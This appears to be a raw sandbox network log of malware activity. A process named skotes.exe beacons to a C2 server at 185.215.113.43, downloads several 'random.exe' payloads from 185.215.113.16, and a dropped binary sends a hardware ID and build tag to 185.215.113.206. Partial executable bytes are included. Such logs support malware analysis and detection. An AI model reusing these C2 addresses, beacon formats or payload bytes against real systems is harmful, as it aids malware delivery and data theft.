1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@Lj@WkKK @.rsrc@.idata @ +@ibghtiqx1@zeltcjlxK@.taggant0K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	50176	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:04.522349119 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 21:56:05.446543932 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	50190	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:06.962071896 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 35 32 43 37 36 42 38 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B52C76B85982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 30, 2024 21:56:07.895279884 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 32 37 30 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 37 30 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 32 37 31 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 37 31 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1002708001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1002709001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1002710001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1002711001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	50196	185.215.113.16	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:07.904813051 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 21:56:08.837243080 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:08 GMT Content-Type: application/octet-stream Content-Length: 2985984 Last-Modified: Wed, 30 Oct 2024 20:53:36 GMT Connection: keep-alive ETag: "67229cd0-2d9000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 a0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 30 00 00 04 00 00 db 73 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@0s.@Th@ ~@.rsrc@@.idata @waasbvbn**@tkrpbqpe0j-@.taggant00"n-@
Oct 30, 2024 21:56:08.837255001 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:08.837268114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:08.837279081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:08.837302923 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:08.837435007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ;R9J`}SouecajoPc0)UX"nY?up[f3tqT$fTttB"2Qf"Zaj<yToK
Oct 30, 2024 21:56:08.837446928 CET	1236	IN	Data Raw: c7 5b df f2 87 b7 7a 68 8c b8 7c 58 91 22 9a 60 26 c7 01 ec 32 f8 3a a0 04 1d 5e e4 89 3f 21 49 fe 78 9b 55 c2 3b 75 f4 05 9d c8 2f 69 61 6d 48 4d be ae 0a d9 69 5d 6a cd 02 b0 ea 27 86 fd 1e 89 6b 9b 0c d7 7e 7f 56 0b b6 d5 b4 60 26 41 0c 99 38 Data Ascii: [zh\|X"`&2:^?!IxU;u/iamHMi]j'k~V`&A8{,;w>q/x(,QZ2}okBc3b[ei^,ebbrU$t]J OSTU%V$sona2E4brKiH~x/
Oct 30, 2024 21:56:08.837457895 CET	1236	IN	Data Raw: fd 28 79 3a e5 e4 a2 d8 28 c7 4a b2 1d cb 7e 04 42 76 48 c2 80 2a 65 d2 ce ea 67 95 04 ad ae 20 1c 0e 5b 96 ff dc 63 55 13 be 96 56 5b 47 63 57 79 6a 97 58 f2 f7 59 68 d5 a6 9c 8a cd f8 c6 03 fe ae a4 93 96 68 1b 2b 0d a6 51 9a 03 0b c6 87 9e 71 Data Ascii: (y:(J~BvHeg [cUV[GcWyjXYhh+QqS!_K&cfU`R=~v.,`wiow2ud<\$3+)~[=t$/r\|f_&'A.sVZ@Zfo(}s[ns5WVJR[^E
Oct 30, 2024 21:56:08.837498903 CET	1236	IN	Data Raw: 37 cc 55 77 76 ed 79 a7 3d 29 76 47 45 b6 ba 94 6f 36 b9 69 5e 20 df 94 c8 cb eb 89 fe ef 49 c2 fa 6f 6a 21 d3 dd ee 25 9d 87 65 41 45 1f d9 5b a1 22 b4 98 2f f3 a8 33 0f de 7b d7 45 5c 70 ce ee 4c 34 8a 13 18 4b 72 7b a9 bd 56 35 2e 4b 53 cc b8 Data Ascii: 7Uwvy=)vGEo6i^ Ioj!%eAE["/3{E\pL4Kr{V5.KShrsWo%zT:vS0h'[DP0,2Kt{ ?Y^firmVrLT];uX="=?hZ+U\|toihlbMw%
Oct 30, 2024 21:56:08.837512970 CET	1236	IN	Data Raw: 1c c8 92 95 4c 73 0b 02 02 15 3b 22 07 8c 18 d3 8e f5 22 c7 86 07 3d 10 c5 31 3c 5f 85 4c e4 34 67 6b dd 0b 2d 64 67 76 d2 27 61 9b 00 79 e6 00 4d c5 3f 68 f3 d7 68 b7 ae 16 8c df e5 73 f4 9e e7 fe 03 22 68 28 ac 6e 83 ff ac 62 1b 28 c0 83 22 02 Data Ascii: Ls;""=1<_L4gk-dgv'ayM?hhs"h(nb("suv((K,Z$n,ewf%,z+$rz%`}?ai Vy~<J3\|<=L$N2FTU2DSBa<w&HkY^~.5
Oct 30, 2024 21:56:08.843257904 CET	1236	IN	Data Raw: 1f f8 77 5c 86 29 b0 fa 45 16 ed 65 6d a0 59 9c 90 f3 16 ea e9 95 09 12 46 f5 fd 27 10 e7 22 3c 07 31 73 30 09 d9 75 8e 05 ea 4c c6 e7 73 e3 10 4d 4a de 83 fa a7 d0 95 39 f3 69 ba be b7 19 96 fd 69 09 71 94 d4 66 52 bd f7 5d 97 e7 1c 96 f7 31 71 Data Ascii: w\)EemYF'"<1s0uLsMJ9iiqfR]1qoi5XS\r1(h967ne]pbNhTd]]&Lj14xggZ)xh.B7*9Z/JY^xUieie<SSI-_=B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	50231	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:17.242252111 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002708001&unit=246122658369
Oct 30, 2024 21:56:18.165452957 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50233	185.215.113.16	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:18.175513029 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 21:56:19.091485977 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:18 GMT Content-Type: application/octet-stream Content-Length: 2146304 Last-Modified: Wed, 30 Oct 2024 20:53:49 GMT Connection: keep-alive ETag: "67229cdd-20c000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 20 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 73 00 00 04 00 00 57 09 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng, s@PsW!@P.d. p.v@.rsrc .@.idata .@ `*.@tnleqdljY@afcdkohfs @.taggant0 s" @
Oct 30, 2024 21:56:19.091655016 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:19.091948986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:19.092056036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:19.092070103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:19.092082024 CET	1236	IN	Data Raw: 54 45 35 a0 c8 de 98 d7 42 85 7a 87 7b 5b 9c 3e a6 a9 79 05 40 cb 57 1e d0 ec fc 33 04 f9 86 76 3b 2b 3f 2b c2 78 19 ed f4 de b3 4e 59 94 15 26 bb b8 a2 c5 78 d3 9d 05 fa f0 fe 00 38 d9 86 0d 59 16 5b 59 45 80 db bc 1d 65 b7 85 80 15 64 b5 58 58 Data Ascii: TE5Bz{[>y@W3v;+?+xNY&x8Y[YEedXX[{&U0V,{L]Y[sPjq[^{aFd17_}&s4\~v4d,coS<S<S<S<S<S<S<S<SFL/2R\H
Oct 30, 2024 21:56:19.092091084 CET	1236	IN	Data Raw: ba e6 ec 04 47 40 66 2c 96 c1 8d 73 1f e8 0c 7f 24 64 dc c3 56 d4 d3 2b 8f 1c 60 1d 66 a6 f4 5d ee 94 d1 f7 8f 0b c7 a0 1c dd 83 96 be dc c2 2a 7b cd b7 53 8f 16 e0 d3 5a f1 ba 1a 4b 90 c9 14 56 22 1c 25 68 90 91 a4 88 83 cd 9f dd 8e 86 97 31 55 Data Ascii: G@f,s$dV+`f]{SZKV"%h1UgEE4W~lS@ss[}]^lB+!T~#DX^R}(P{/M5 %HX;&(EB_MQ"flD23]<U\,\|F#f>
Oct 30, 2024 21:56:19.092101097 CET	1236	IN	Data Raw: 79 f2 94 35 7e 04 8e a8 bc b7 db 1e 56 18 8e 55 82 f3 f0 a3 a6 63 7f e6 8e e9 84 7f b6 33 5a c0 c6 f4 ec b4 47 54 7d 5d bc 1a a9 45 91 60 f9 2c ca f2 a5 4c 06 12 a7 2b f0 71 84 2c 1e 6f 98 9e be 3d 0e 7d 0e 12 8e 03 3f cf 91 9f 5a 1c e0 37 9c d8 Data Ascii: y5~VUc3ZGT}]E`,L+q,o=}?Z7>2G<8,O~_)<R4~(B6R:6XAMQ`GE7fv-6dPcVOdfXWLAYQkG63bqY`-`ZIl-x,&H!?@ReVGJ~?MB
Oct 30, 2024 21:56:19.092112064 CET	1236	IN	Data Raw: 36 5c 03 56 02 20 50 bc cf e9 2c 1c a1 5e 99 67 9d e3 d9 db 36 e9 54 58 88 41 0d 82 64 f6 95 44 3f 02 9e 54 47 59 11 83 df f6 a6 1c 30 e9 9c 4b 1a 3a fe 17 4f 2e 77 2c 76 e1 83 2f e2 54 cd 2a cb 11 8e ed 3e c6 86 9f 77 48 37 9e ae e9 84 9f b6 ad Data Ascii: 6\V P,^g6TXAdD?TGY0K:O.w,v/T*>wH7Y/G7Zy`- U`D[&J\|y-nO~XWuA@92$6\e->(L+6'p$_E3Gg,WUf>:o_?%lp$h;%<4
Oct 30, 2024 21:56:19.092123032 CET	1236	IN	Data Raw: 4e b3 2c 3c e6 e9 b6 d3 51 53 33 ef 60 75 3d 98 47 a0 9c eb 13 08 4d dd 06 71 8e f3 36 21 03 3e c6 3b a7 55 16 f1 64 25 66 9b cd f9 31 20 6d 2d 32 b9 87 32 66 9c e2 99 50 e0 b6 55 4a f3 7a 9b 36 3e d9 3b 50 04 85 00 35 5c c2 a7 ea 5a b5 2c 3e 20 Data Ascii: N,<QS3`u=GMq6!>;Ud%f1 m-22fPUJz6>;P5\Z,> ,^c,?@!Uq6YaJG@X[Gb e&5W@wVq6Sb}uA,RN1,~gFTDrQGXg~sap-5bqx,B6dU-OPP>Y_G\|
Oct 30, 2024 21:56:19.097563028 CET	1236	IN	Data Raw: 4b dd 00 91 ae f0 dc 2c 01 dd b6 7a a2 5c d0 fb 57 4d dd 64 04 e0 b2 95 d2 ec f8 20 05 03 41 fe 3d e1 4e 20 ee ca 77 97 71 ab b3 f3 be c5 d5 3c 98 d2 b0 f1 e0 81 95 84 ae c4 61 db 63 55 e1 b8 55 62 24 bd ea c4 22 76 ae 3e 7e e9 31 db f8 63 8a 91 Data Ascii: K,z\WMd A=N wq<acUUb$"v>~1cvMap8:l#3'krju(+*aK>,IUI5n% ?&H!V%P3L)$U1c!4150G4~E(,z;tl&;O4KPhV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50239	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:26.636428118 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002709001&unit=246122658369
Oct 30, 2024 21:56:27.562943935 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50240	185.215.113.206	80	2220	C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:26.640016079 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 21:56:27.558538914 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 21:56:27.595895052 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 44 32 42 43 38 44 36 42 42 45 32 30 39 39 39 32 35 32 38 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 2d 2d 0d 0a Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="hwid"D5D2BC8D6BBE2099925286------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="build"tale------KKKKEHJKFCFCBFHIIDGD--
Oct 30, 2024 21:56:27.888693094 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50241	185.215.113.16	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:27.603373051 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 21:56:28.554176092 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:28 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Wed, 30 Oct 2024 20:42:59 GMT Connection: keep-alive ETag: "67229a53-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 4b 9a 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELK"g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 30, 2024 21:56:28.554192066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Oct 30, 2024 21:56:28.554200888 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
